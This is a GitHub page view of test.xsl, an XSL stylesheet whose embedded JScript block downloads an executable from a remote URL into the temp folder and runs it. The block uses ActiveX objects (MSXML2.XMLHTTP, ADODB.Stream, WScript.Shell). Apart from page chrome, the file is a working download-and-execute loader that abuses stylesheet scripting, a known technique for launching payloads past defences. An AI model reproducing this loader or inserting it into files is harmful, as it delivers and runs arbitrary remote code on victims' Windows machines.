-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathtest.xsl
More file actions
26 lines (26 loc) · 899 Bytes
/
Copy pathtest.xsl
File metadata and controls
26 lines (26 loc) · 899 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?xml version='1.0'?>
<stylesheet xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt" xmlns:user="hello" version="1.0">
<ms:script implements-prefix="user" language="JScript">
<![CDATA[
var Source = "https://raw.githubusercontent.com/tconqueror/bla/master/Autoruns.exe";
var Object = new ActiveXObject('MSXML2.XMLHTTP.6.0');
Object.Open('GET', Source, false);
Object.Send();
var r = new ActiveXObject('WScript.Shell');
var appdata = r.ExpandEnvironmentStrings("%temp%");
Target = appdata + "\\Autoruns.exe"
var Stream = new ActiveXObject('ADODB.Stream');
Stream.Type = 1;
Stream.Open();
Stream.Write(Object.ResponseBody);
var File = new ActiveXObject('Scripting.FileSystemObject');
if (File.FileExists(Target))
{
File.DeleteFile(Target);
}
Stream.SaveToFile(Target, 2);
Stream.Close();
r.Run(Target);
]]>
</ms:script>
</stylesheet>